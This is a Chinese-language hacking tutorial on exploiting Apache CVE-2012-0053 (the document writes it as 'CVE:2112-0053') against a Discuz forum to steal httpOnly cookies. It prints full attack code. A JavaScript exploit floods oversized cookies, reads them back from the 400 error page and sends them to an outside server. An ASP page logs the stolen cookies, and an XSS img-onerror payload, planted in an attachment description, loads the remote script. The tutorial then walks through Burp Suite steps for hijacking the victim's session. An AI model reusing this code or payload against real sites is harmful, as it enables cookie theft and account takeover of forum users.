Apache服务器2.2.0-2.2.21版本存在一个漏洞(CVE-2012-0053),攻击者可通过给网站植入超大的Cookie,使得HTTP头超过apache的LimitRequestFieldSize(最大请求长度)8192字节,apache便会返回400错误,状态页中就包含了http-only保护的cookies。
httpOnly型cookie截取及利用(Apache CVE:2112-0053)
漏洞名称:APACHE Httponly Cookie Disclosure(CVE:2112-0053)
测试目标环境:Windows xp sp3、discuz x2.5、apache2.2.17(漏洞存在的版本)
我们来构造我们的exploit,让apache触发此漏洞,然后就能获取到httponly的cookie了。Exploit利用代码在上面的链 接中有给出,直接复制到js文件中,然后加载会弹出完整的cookie,我们这里把他修改一下,不用弹框,我们要获取到这个完整的cookie,并存到我 们的后台。
Exploit如下,也就是我们要加载的js文件,我们命名为cookie.js:
// Most browsers limit cookies to 4k characters, so we need multiple function setCookies (good) { // Construct string for cookie value var str = ""; for (var i=0; i< 819; i++) { str += "x"; } // Set cookies for (i = 0; i < 10; i++) { // Expire evil cookie if (good) { var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;"; } // Set evil cookie else { var cookie = "xss"+i+"="+str+";path=/"; } document.cookie = cookie; } } function makeRequest() { setCookies(); function parseCookies () { var cookie_dict = {}; // Only react on 400 status if (xhr.readyState === 4 && xhr.status === 400) { // Replace newlines and match <pre> content var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/); if (content.length) { // Remove Cookie: prefix content = content[1].replace("Cookie: ", ""); var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g); // Add cookies to object for (var i=0; i<cookies.length; i++) { var s_c = cookies[i].split('=',2); cookie_dict[s_c[0]] = s_c[1]; } } // Unset malicious cookies setCookies(true); var x=new Image(); try { var myopener=''; myopener=window.opener && window.opener.location?window.opener.location:''; } catch(err) { } x.src='http://www.myserver.com/cookie.asp?msg='+JSON.stringify(cookie_dict); //这里是你接受cookie的服务器地址 //alert(JSON.stringify(cookie_dict)); } } // Make XHR request var xhr = new XMLHttpRequest(); xhr.onreadystatechange = parseCookies; xhr.open("GET", "/", true); xhr.send(null); } makeRequest(); |
下面是我们接受cookie的页面代码,这里写的很简单:
我们命名为cookie.asp,就是上面cookie.js中的接受cookie的页面文件:
<html> <title>==GET COOKIE==</title> <body> <%testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中 msg = Request("msg") //获取提交过来的msg变量,也就是cookie值 set fs = server.CreateObject("scripting.filesystemobject")//创建一个fs对象 set thisfile = fs.OpenTextFile(testfile,8,True,0) thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie thisfile.close() //关闭 set fs = nothing%> </body> </html> |
我们把要加载的cookie.js文件和获取cookie的cookie.asp文件一起放到我们的服务器根目录下。
然后我们开始加载我们的js文件,早附件的描述信息中填写以下code:
<img/src=x/onerror=s=createElement('script');body.appendChild(s);s.src='http://www.myserver.com/cookie.js';> |
这里一定要注意这里填入code的长度,这个完整不完整我们可以再发文帖子后把鼠标放到图片上看描述信息是否是我们填写的code是否完整。
双击图片,看看是否加载了我们的js:
下面看看保存在code.txt中我们获取到的完整的cookie信息:
可以看到现在有那两个httponly的字段值了。
这里的cookie内容是json格式的,我们转换成正确的内容格式:
然后用这个cookie就能成功利用登陆了,至于怎么登陆,方法很多了,我最爱brup suite啦!
正好前面有盆友在问,我就拿这个神器来替换cookie登陆吧:
1、打开神器brup suite,到proxy选项的options选项
2、然后到match and replace 模块,选中下面的cookie一项(没有的话就自己添加一个)
3、然后edit编辑cookie
4、再到下面的输入框中填入我们的cookie,然后update就好了。
5、最后设置好代理,刷一下目标站,然后就登陆成功了
最后看看登陆结果吧:
参考链接:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0053 http://www.youtube.com/watch?v=Hrt32bPuxBA
http://www.exploit-db.com/exploits/18442/
http://drops.wooyun.org/papers/501